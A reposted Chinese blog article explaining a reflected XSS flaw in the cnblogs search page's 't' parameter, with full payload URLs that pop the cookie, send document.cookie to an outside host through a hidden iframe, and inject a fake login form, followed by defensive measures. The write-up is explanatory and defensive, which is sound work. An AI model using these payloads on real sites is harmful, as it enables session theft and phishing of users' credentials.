(转)给我一对尖括号,我可以造出整个互联网
原文地址:
http://www.cnblogs.com/hkncd/archive/2012/04/25/2469188.html
这是一篇关于XSS攻击的文章,前阵子看到一篇关于博客园找找看XSS漏洞的文章,我研究了一下,发现事隔三个月,漏洞还在,不知为何。正好把这当素材写下此文,让我们来看看这个XSS漏洞究竟能带来哪些危害。
漏洞分析
用一下找找看的搜索功能就容易发现,搜索功能往url中传递了两个参数名“w”和“t”,输入框对应“w”,搜索分类对应“t”。看不到t参数的,点击一下搜索框上的分类链接就会找到。
按常理,输入框是最容易发生攻击的地方,因此找找看也作了防护。根据我的测试,至少有如下两种防护措施:
- 正则表达式匹配并删除字符串包含”<script></script>”的部分。
- 服务器端对输入字符串长度做了限制。
虽说方法并不完美,但两个加一起的确可以达到防护目的。参数“w”安全,可参数“t”却没有任何的防护措施,因此,漏洞就在这里。
通过分析代码,可看到最后”t“传给了一个隐藏表单,代码如下:
<input type="hidden" class="txtSeach" name="t" id="t" value="">
那我们只要将该input闭合,就可以随心所欲的输入任何内容,比如我们输入‘Test"/><input type="hidden’,最后的结果就变成:
<input type="hidden" class="txtSeach" name="t" id="t" value="Test"/><input type="hidden"/>
看一下那篇文章中的截图,基本上就明白如何针对该漏洞进行js脚本攻击,如下图:
XSS危害之一 -- Cookie盗取
XSS能做的不只是弹窗,会js的都知道,通过document.cookie可以获取到cookie信息,为了测试,我们通过alert显示出来。url地址这样写:
http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>alert(document.cookie)</script><input type="hidden
输入网址会看到cookie值通过弹窗显示出来,如下图:
通常,盗取Cookie会做的比较隐秘,不让用户觉察。一般的做法是通过构造一个隐藏的iframe,然后将cookie值作为参数随iframe传给攻击者指定的网址。例如,我们把cookie传给百度站点,可以输入如下url地址:
http://zzk.cnblogs.com/s?w=hacker&t=a"/><iframe id="myid"></iframe><script>var frame=document.getElementById("myid");frame.src="http://www.baidu.com/?a="%2Bdocument.cookie;</script><input type="hidden
此处为了显示效果,我们不隐藏iframe,可以看到截图如下:
通过Fiddler工具可以看到cookie已经传送出去。一旦把iframe隐藏,用户点击链接后就基本察觉不到自己的cookie被盗取。
博客园最有用的cookie就是是登录后产生的名为“.DottextCookie“的cookie了,一旦被盗取,对方就可以直接通过cookie认证登录到你的账号(比如用火狐浏览器的Firecookie插件来编辑cookie)。
然而,我测试发现,一直无法获取该cookie,后来发现该cookie被标识为HttpOnly,这导致通过页面js脚本无法获取。
因此,折腾一圈下来,虽然找找看功能有漏洞,却无法盗取到有用的cookie值,我想这也可能是该漏洞一直未处理的原因之一。
XSS危害之二 -- 伪造Html元素,欺骗用户
HttpOnly虽然是防cookie盗取的利器,但并不意味着可无视Xss漏洞,因为Xss的危害不仅仅是cookie盗取,它还可以伪造Html元素,欺骗用户提交信息。例如,我们输入如下url地址:
http://zzk.cnblogs.com/s?w=hacker&t=a"/><script>document.getElementById('searchResult').innerHTML="<div><form><label>Username:</label><input type='text' /><br/><label>Password:</label><input type='text' /><br/><input type='submit' value='submit'/></form></div>";</script><input type="hidden
通过url伪造了一个登录表单,为了演示目的,我没有添加样式,这样可以看到效果图如下:
这种效果简陋,易被看穿,但我相信按照网站风格设计一下css样式,加上一些提示性的文字,会产生很强的欺骗性,用一些诱惑性的文字或图片很容易吸引用户点击并上钩,因为用户往往对域名正确的页面容易放松警惕,正所谓散弹打鸟,总会碰到几个笨的。因此这种XSS攻击虽没有直接盗取cookie,依然会造成不小的危害。
XSS的防护措施
有不少人在我前一篇关于SQL攻击的文章中留言问如何防护。其实我觉得看懂了攻击方式,基本也就知道如何防护了。对于SQL注入,参数化查询就可以完全胜任,甚至你只屏蔽单引号也一样有很好的效果。
对于Xss攻击,防护措施如下:
- 上面提到的博客园的做法--正则匹配加长度限制。
- 将不需要在客户端操作的cookie设置为HttpOnly。
- 使用第三方类库,如AntiXSS。
- 对用户输入内容进行Html编码,例如asp.net mvc中的MvcHtmlString类,总是将字符串编码以后再显示。
方法很多且容易,但真正能使系统安全稳定,还要归根于设计者本人,就像找找看功能,对输入框进行了防护,却忘记对另外一个参数进行处理,关键在于设计每一个功能的时候,脑中是否有防护的概念,是否用心。
结语
阿基米德说过:”给我一个杠杆,我可以翘起整个地球。“为了表述XSS的危害,我也模仿这种语气,写个诳语:”给我一对尖括号,我可以造出整个互联网。“